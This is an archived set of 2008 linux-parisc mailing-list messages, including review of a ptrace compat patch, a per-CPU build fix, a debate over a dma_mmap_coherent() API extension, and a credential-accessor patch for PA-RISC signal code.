*nod* that's reasonable.

thanks,
grant

> 
> 
> Thanks,
> 
> Takashi
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Roland McGrath <roland@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] compat_sys_ptrace conversions for parisc
Date: Tue, 26 Aug 2008 14:09:58 -0700 (PDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <20080826210958.2F68A154233@magilla.localdomain>
References: <200808242026.06295.deller@gmx.de>
	<200808242033.25481.deller@gmx.de>
	<20080825165231.GA13428@lst.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1219785067 12179 80.91.229.12 (26 Aug 2008 21:11:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 26 Aug 2008 21:11:07 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>
To: Christoph Hellwig <hch@lst.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 26 23:12:00 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KY5pX-0003Xt-E8
	for glpp-linux-parisc@gmane.org; Tue, 26 Aug 2008 23:11:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751668AbYHZVKj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 26 Aug 2008 17:10:39 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751672AbYHZVKj
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 26 Aug 2008 17:10:39 -0400
Original-Received: from mx1.redhat.com ([66.187.233.31]:58975 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751573AbYHZVKi (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 26 Aug 2008 17:10:38 -0400
Original-Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id m7QLAWhl026018;
	Tue, 26 Aug 2008 17:10:32 -0400
Original-Received: from gateway.sf.frob.com (vpn-13-164.rdu.redhat.com [10.11.13.164])
	by int-mx1.corp.redhat.com (8.13.1/8.13.1) with ESMTP id m7QLAT5P001389;
	Tue, 26 Aug 2008 17:10:30 -0400
Original-Received: from magilla.localdomain (magilla.sf.frob.com [198.49.250.228])
	by gateway.sf.frob.com (Postfix) with ESMTP
	id 68EC8357B; Tue, 26 Aug 2008 14:10:28 -0700 (PDT)
Original-Received: by magilla.localdomain (Postfix, from userid 5281)
	id 2F68A154233; Tue, 26 Aug 2008 14:09:58 -0700 (PDT)
X-Fcc: ~/Mail/linus
In-Reply-To: Christoph Hellwig's message of  Monday, 25 August 2008 18:52:31 +0200 <20080825165231.GA13428@lst.de>
X-Antipastobozoticataclysm: When George Bush projectile vomits antipasto on the Japanese.
X-Scanned-By: MIMEDefang 2.58 on 172.16.52.254
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:681
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/681>

> This should probably get a little review from Rland, I've added him to
> the Cc list.  Although I suspect splitting this into at least two
> patches for compat_sys_ptrace vs the rest might make sense.

For the machines where I've done this work, I've certainly been well-served
by breaking it into many smaller incremental patches.  That would make the
meat of each patch far easier to read than this one big patch is.

It seems odd to have user_disable_single_step call ptrace_disable rather
than vice versa.  Otherwise, off hand I don't see anything particularly
suspect in the patch, but I'll admit I didn't look too close because the
one big diff is a pain to read.


Thanks,
Roland
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] Change cpu_data[] and cpu_devices[] from array sized
	by NR_CPUS to per_cpu variables
Date: Tue, 26 Aug 2008 22:51:10 -0600
Lines: 44
Approved: news@gmane.org
Message-ID: <20080827045110.GA30954@colo.lackof.org>
References: <200808242026.06295.deller@gmx.de> <200808242121.49849.deller@gmx.de> <48B1D185.4060805@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1219812692 4041 80.91.229.12 (27 Aug 2008 04:51:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Aug 2008 04:51:32 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 27 06:52:26 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KYD15-00061t-Im
	for glpp-linux-parisc@gmane.org; Wed, 27 Aug 2008 06:52:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751197AbYH0EvW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Aug 2008 00:51:22 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751214AbYH0EvW
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 27 Aug 2008 00:51:22 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:52728 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751197AbYH0EvW (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Aug 2008 00:51:22 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id AC6EC338289;
	Tue, 26 Aug 2008 22:51:20 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31725-07; Tue, 26 Aug 2008 22:51:10 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 63DBD338201; Tue, 26 Aug 2008 22:51:10 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <48B1D185.4060805@gmx.de>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:682
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/682>

On Sun, Aug 24, 2008 at 11:24:21PM +0200, Helge Deller wrote:
> Updated patch attached, which fixes some build problems and section 
> mismatches.
> Boot-tested on a UP 32bit machine with CONFIG_SMP=y.

Fixed this build failure (64-bit):
  CC      arch/parisc/kernel/perf.o
arch/parisc/kernel/perf.c: In function 'perf_init':
arch/parisc/kernel/perf.c:544: error: 'cpu_data' undeclared (first use in this function)
arch/parisc/kernel/perf.c:544: error: (Each undeclared identifier is reported only once
arch/parisc/kernel/perf.c:544: error: for each function it appears in.)
make[1]: *** [arch/parisc/kernel/perf.o] Error 1

Signed-off-by: Grant Grundler <grundler@parisc-linux.org>

diff --git a/arch/parisc/kernel/perf.c b/arch/parisc/kernel/perf.c
index f696f57..c661db7 100644
--- a/arch/parisc/kernel/perf.c
+++ b/arch/parisc/kernel/perf.c
@@ -55,6 +55,7 @@
 #include <asm/processor.h>
 #include <asm/runway.h>
 #include <asm/io.h>		/* for __raw_read() */
+#include <asm/percpu.h>
 
 #include "perf_images.h"
 
@@ -541,9 +542,9 @@ static int __init perf_init(void)
 	spin_lock_init(&perf_lock);
 
 	/* TODO: this only lets us access the first cpu.. what to do for SMP? */
-	cpu_device = cpu_data[0].dev;
+	cpu_device = per_cpu(cpu_data, 0).dev;
 	printk("Performance monitoring counters enabled for %s\n",
-		cpu_data[0].dev->name);
+		cpu_device->name);
 
 	return 0;
 }
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Takashi Iwai <tiwai@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.mips.general
Subject: Re: [PATCH] mips: Add dma_mmap_coherent()
Date: Wed, 27 Aug 2008 07:42:06 +0200
Lines: 63
Approved: news@gmane.org
Message-ID: <s5h4p57hv4h.wl%tiwai@suse.de>
References: <K6047O$07C3A675C0E02FC7BE973C0D5DEF9AAA@scarlet.be>
	<s5hy72pmefh.wl%tiwai@suse.de>
	<48B0678E.9010208@scarlet.be>
	<s5hej4blrx7.wl%tiwai@suse.de>
	<20080826210118.GA26235@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka")
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1219815740 12940 80.91.229.12 (27 Aug 2008 05:42:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Aug 2008 05:42:20 +0000 (UTC)
Cc: Joel Soete <soete.joel@scarlet.be>,
	"James.Bottomley" <James.Bottomley@HansenPartnership.com>,
	linux-mips <linux-mips@linux-mips.org>,
	ralf <ralf@linux-mips.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 27 07:43:13 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KYDoF-0006YO-VR
	for glpp-linux-parisc@gmane.org; Wed, 27 Aug 2008 07:43:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751914AbYH0FmK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Aug 2008 01:42:10 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752039AbYH0FmK
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 27 Aug 2008 01:42:10 -0400
Original-Received: from ns1.suse.de ([195.135.220.2]:57321 "EHLO mx1.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751914AbYH0FmJ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Aug 2008 01:42:09 -0400
Original-Received: from Relay2.suse.de (mail2.suse.de [195.135.221.8])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx1.suse.de (Postfix) with ESMTP id CB791419C8;
	Wed, 27 Aug 2008 07:42:07 +0200 (CEST)
In-Reply-To: <20080826210118.GA26235@colo.lackof.org>
User-Agent: Wanderlust/2.12.0 (Your Wildest Dreams) SEMI/1.14.6 (Maruoka)
 FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/22.2
 (x86_64-suse-linux-gnu) MULE/5.0 (SAKAKI)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:683 gmane.linux.ports.mips.general:21403
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/683>

At Tue, 26 Aug 2008 15:01:18 -0600,
Grant Grundler wrote:
> 
> On Tue, Aug 26, 2008 at 05:25:24PM +0200, Takashi Iwai wrote:
> ...
> > Now updated my git tree:
> >     http://git.kernel.org/?p=linux/kernel/git/tiwai/sound-2.6.git;a=shortlog;h=topic/dma-fix
> > I'll post each patch again if preferred.
> 
> +#ifdef CONFIG_SND_COHERENT_DMA
>  #define SNDRV_DMA_TYPE_DEV_SG          3       /* generic device SG-buffer */
> +#else
> +#define SNDRV_DMA_TYPE_DEV_SG  SNDRV_DMA_TYPE_DEV /* no SG-buf support */
> +#endif
> 
> Hi Takashi,
> I had to look at a previous patch to figure out CONFIG_SND_COHERENT_DMA
> is an arch dependent flag:
> 
> +config SND_COHERENT_DMA
> +       def_bool y
> +       depends on !PPC32 || !NOT_COHERENT_CACHE
> +       depends on !ARM
> +       depends on !MIPS
> +       depends on !PARISC
> 
> In general, I don't expect this to be a compile time option.

Right now it has to be a compile-time option because
- dma_mmap_coherent() isn't implemented in every architecture (thus
  fails to build), and 
- pages allocated via dma_mmap_coherent() aren't always suitable for
  SG-mapping.

> I'm wondering if extending the DMA API to provide an
> interface for user space to also be DMA coherent.

Yes, this would be really nice.

> Maybe something to talk about at Linux Plumbers Conf
> or kernel summit...

Agreed.

> > Do you guys see any pending issues?  I'd love to merge these patches
> > into the upstream for 2.6.28.
> 
> SPARC/SPARC64 usually falls into the same category as parisc/mips.

Right.  I guess SH*, too.
But, a missing piece doesn't mean to stop pushing this :)
We can implement on other archs occasionally based on the existing
works.


thanks,

Takashi
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Baechle <ralf@linux-mips.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.mips.general
Subject: Re: [PATCH] mips: Add dma_mmap_coherent()
Date: Wed, 27 Aug 2008 11:38:58 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20080827103858.GA26940@linux-mips.org>
References: <K6047O$07C3A675C0E02FC7BE973C0D5DEF9AAA@scarlet.be> <s5hy72pmefh.wl%tiwai@suse.de> <48B0678E.9010208@scarlet.be> <s5hej4blrx7.wl%tiwai@suse.de> <20080826210118.GA26235@colo.lackof.org> <s5h4p57hv4h.wl%tiwai@suse.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1219833565 17275 80.91.229.12 (27 Aug 2008 10:39:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Aug 2008 10:39:25 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	Joel Soete <soete.joel@scarlet.be>,
	"James.Bottomley" <James.Bottomley@HansenPartnership.com>,
	linux-mips <linux-mips@linux-mips.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Takashi Iwai <tiwai@suse.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 27 12:40:17 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KYIRj-0006zv-Ay
	for glpp-linux-parisc@gmane.org; Wed, 27 Aug 2008 12:40:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753147AbYH0KjO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Aug 2008 06:39:14 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753475AbYH0KjO
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 27 Aug 2008 06:39:14 -0400
Original-Received: from ditditdahdahdah-dahditditditdit.dl5rb.org.uk ([217.169.26.26]:35636
	"EHLO ditditdahdahdah-dahdahdahditdit.dl5rb.org.uk"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
	id S1753147AbYH0KjN (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Aug 2008 06:39:13 -0400
Original-Received: from denk.linux-mips.net (denk.linux-mips.net [127.0.0.1])
	by ditditdahdahdah-dahdahdahditdit.dl5rb.org.uk (8.14.2/8.14.1) with ESMTP id m7RAd0Qq019975;
	Wed, 27 Aug 2008 11:39:01 +0100
Original-Received: (from ralf@localhost)
	by denk.linux-mips.net (8.14.2/8.14.2/Submit) id m7RAcwRp019970;
	Wed, 27 Aug 2008 11:38:58 +0100
Content-Disposition: inline
In-Reply-To: <s5h4p57hv4h.wl%tiwai@suse.de>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:684 gmane.linux.ports.mips.general:21405
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/684>

On Wed, Aug 27, 2008 at 07:42:06AM +0200, Takashi Iwai wrote:

> Right now it has to be a compile-time option because
> - dma_mmap_coherent() isn't implemented in every architecture (thus
>   fails to build), and 
> - pages allocated via dma_mmap_coherent() aren't always suitable for
>   SG-mapping.

I suggest you take this issue to linux-arch or linux-kernel.  There will
be some more people who will have input on this.

  Ralf
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Howells <dhowells@redhat.com>
Newsgroups: gmane.linux.kernel.lsm,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 03/59] CRED: Wrap task credential accesses in the PA-RISC arch
Date: Wed, 27 Aug 2008 14:45:57 +0100
Organization: Red Hat UK Ltd. Registered Address: Red Hat UK Ltd, Amberley
	Place, 107-111 Peascod Street, Windsor, Berkshire, SI4 1TE, United
	Kingdom.
	Registered in England and Wales under Company Registration No. 3798903
Lines: 41
Approved: news@gmane.org
Message-ID: <20080827134557.19980.40787.stgit@warthog.procyon.org.uk>
References: <20080827134541.19980.61042.stgit@warthog.procyon.org.uk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1219845078 3305 80.91.229.12 (27 Aug 2008 13:51:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Aug 2008 13:51:18 +0000 (UTC)
Cc: linux-security-module@vger.kernel.org,
	David Howells <dhowells@redhat.com>,
	Serge Hallyn <serue@us.ibm.com>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Matthew Wilcox <matthew@wil.cx>,
	Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-security-module-owner@vger.kernel.org Wed Aug 27 15:52:11 2008
Return-path: <linux-security-module-owner@vger.kernel.org>
Envelope-to: glkl-linux-security-module-2@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KYLR2-0004Xg-A9
	for glkl-linux-security-module-2@gmane.org; Wed, 27 Aug 2008 15:51:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757296AbYH0NtZ (ORCPT
	<rfc822;glkl-linux-security-module-2@m.gmane.org>);
	Wed, 27 Aug 2008 09:49:25 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757290AbYH0NtZ
	(ORCPT <rfc822;linux-security-module-outgoing>);
	Wed, 27 Aug 2008 09:49:25 -0400
Original-Received: from mx1.redhat.com ([66.187.233.31]:49225 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757278AbYH0NtX (ORCPT
	<rfc822;linux-security-module@vger.kernel.org>);
	Wed, 27 Aug 2008 09:49:23 -0400
Original-Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id m7RDk2ko005252;
	Wed, 27 Aug 2008 09:46:02 -0400
Original-Received: from pobox.devel.redhat.com (pobox.devel.redhat.com [10.11.255.8])
	by int-mx1.corp.redhat.com (8.13.1/8.13.1) with ESMTP id m7RDk1Uj002148;
	Wed, 27 Aug 2008 09:46:01 -0400
Original-Received: from warthog.cambridge.redhat.com (IDENT:U2FsdGVkX1+SItRw4z5Shf43c0AZiJFXrs5rgu8VmdQ@xen4-1.farm.hsv.redhat.com [10.15.4.90])
	by pobox.devel.redhat.com (8.13.1/8.13.1) with ESMTP id m7RDjwTI021401;
	Wed, 27 Aug 2008 09:45:58 -0400
Original-Received: from [127.0.0.1] (helo=warthog.procyon.org.uk)
	by warthog.cambridge.redhat.com with esmtp (Exim 4.68 #1 (Red Hat Linux))
	id 1KYLLR-0005FJ-PH; Wed, 27 Aug 2008 14:45:57 +0100
In-Reply-To: <20080827134541.19980.61042.stgit@warthog.procyon.org.uk>
User-Agent: StGIT/0.14.3
X-Scanned-By: MIMEDefang 2.58 on 172.16.52.254
Original-Sender: linux-security-module-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-security-module.vger.kernel.org>
X-Mailing-List: linux-security-module@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.lsm:7191 gmane.linux.kernel:726685 gmane.linux.ports.parisc:685
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/685>

Wrap access to task credentials so that they can be separated more easily from
the task_struct during the introduction of COW creds.

Change most current->(|e|s|fs)[ug]id to current_(|e|s|fs)[ug]id().

Change some task->e?[ug]id to task_e?[ug]id().  In some places it makes more
sense to use RCU directly rather than a convenient wrapper; these will be
addressed by later patches.

Signed-off-by: David Howells <dhowells@redhat.com>
Reviewed-by: James Morris <jmorris@namei.org>
Acked-by: Serge Hallyn <serue@us.ibm.com>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Matthew Wilcox <matthew@wil.cx>
Cc: Grant Grundler <grundler@parisc-linux.org>
Cc: linux-parisc@vger.kernel.org
---

 arch/parisc/kernel/signal.c |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)


diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
index 06213d1..f825442 100644
--- a/arch/parisc/kernel/signal.c
+++ b/arch/parisc/kernel/signal.c
@@ -182,7 +182,7 @@ give_sigsegv:
 	si.si_errno = 0;
 	si.si_code = SI_KERNEL;
 	si.si_pid = task_pid_vnr(current);
-	si.si_uid = current->uid;
+	si.si_uid = current_uid();
 	si.si_addr = &frame->uc;
 	force_sig_info(SIGSEGV, &si, current);
 	return;

--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.parisc
Subject: Re: [PATCH] mips: Add dma_mmap_coherent()
Date: Wed, 27 Aug 2008 09:06:46 -0500
Lines: 47
Approved: news@gmane.org
Message-ID: <1219846006.3292.3.camel@localhost.localdomain>
References: <K6047O$07C3A675C0E02FC7BE973C0D5DEF9AAA@scarlet.be>
	 <s5hy72pmefh.wl%tiwai@suse.de> <48B0678E.9010208@scarlet.be>
	 <s5hej4blrx7.wl%tiwai@suse.de> <20080826210118.GA26235@colo.lackof.org>
	 <s5h4p57hv4h.wl%tiwai@suse.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1219846052 8279 80.91.229.12 (27 Aug 2008 14:07:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Aug 2008 14:07:32 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	Joel Soete <soete.joel@scarlet.be>,
	linux-mips <linux-mips@linux-mips.org>,
	ralf <ralf@linux-mips.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Takashi Iwai <tiwai@suse.de>
Original-X-From: linux-mips-bounce@linux-mips.org Wed Aug 27 16:08:25 2008
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from ftp.linux-mips.org ([213.58.128.207])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KYLh7-0003CA-63
	for sgi-linux-mips@gmane.org; Wed, 27 Aug 2008 16:08:21 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:56259 "EHLO
	ftp.linux-mips.org") by ftp.linux-mips.org with ESMTP
	id S20026002AbYH0OHQ (ORCPT <rfc822;sgi-linux-mips@gmane.org>);
	Wed, 27 Aug 2008 15:07:16 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 27 Aug 2008 15:07:00 +0100 (BST)
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:45025 "EHLO
	accolon.hansenpartnership.com") by ftp.linux-mips.org with ESMTP
	id S20025916AbYH0OG5 (ORCPT <rfc822;linux-mips@linux-mips.org>);
	Wed, 27 Aug 2008 15:06:57 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 9B4BC8045;
	Wed, 27 Aug 2008 09:06:49 -0500 (CDT)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id yLu-8aRmbnG5; Wed, 27 Aug 2008 09:06:48 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id CA2E68037;
	Wed, 27 Aug 2008 09:06:47 -0500 (CDT)
In-Reply-To: <s5h4p57hv4h.wl%tiwai@suse.de>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
X-archive-position: 20377
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: James.Bottomley@HansenPartnership.com
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:21408 gmane.linux.ports.parisc:686
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/686>

On Wed, 2008-08-27 at 07:42 +0200, Takashi Iwai wrote:
> At Tue, 26 Aug 2008 15:01:18 -0600,
> Grant Grundler wrote:
> > 
> > On Tue, Aug 26, 2008 at 05:25:24PM +0200, Takashi Iwai wrote:
> > ...
> > > Now updated my git tree:
> > >     http://git.kernel.org/?p=linux/kernel/git/tiwai/sound-2.6.git;a=shortlog;h=topic/dma-fix
> > > I'll post each patch again if preferred.
> > 
> > +#ifdef CONFIG_SND_COHERENT_DMA
> >  #define SNDRV_DMA_TYPE_DEV_SG          3       /* generic device SG-buffer */
> > +#else
> > +#define SNDRV_DMA_TYPE_DEV_SG  SNDRV_DMA_TYPE_DEV /* no SG-buf support */
> > +#endif
> > 
> > Hi Takashi,
> > I had to look at a previous patch to figure out CONFIG_SND_COHERENT_DMA
> > is an arch dependent flag:
> > 
> > +config SND_COHERENT_DMA
> > +       def_bool y
> > +       depends on !PPC32 || !NOT_COHERENT_CACHE
> > +       depends on !ARM
> > +       depends on !MIPS
> > +       depends on !PARISC
> > 
> > In general, I don't expect this to be a compile time option.
> 
> Right now it has to be a compile-time option because
> - dma_mmap_coherent() isn't implemented in every architecture (thus
>   fails to build), and 
> - pages allocated via dma_mmap_coherent() aren't always suitable for
>   SG-mapping.

This is trivially fixable by the usual methods, so, as Grant says, we
should employ them rather than non-standard ways of doing this

Basically, you're asking to extend the DMA API, so this should be taken
to linux-arch.  That way, it might also give visibility to the graphics
people and we can negotiate over a unified API.

James





From - Thu Nov 08 21:02:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
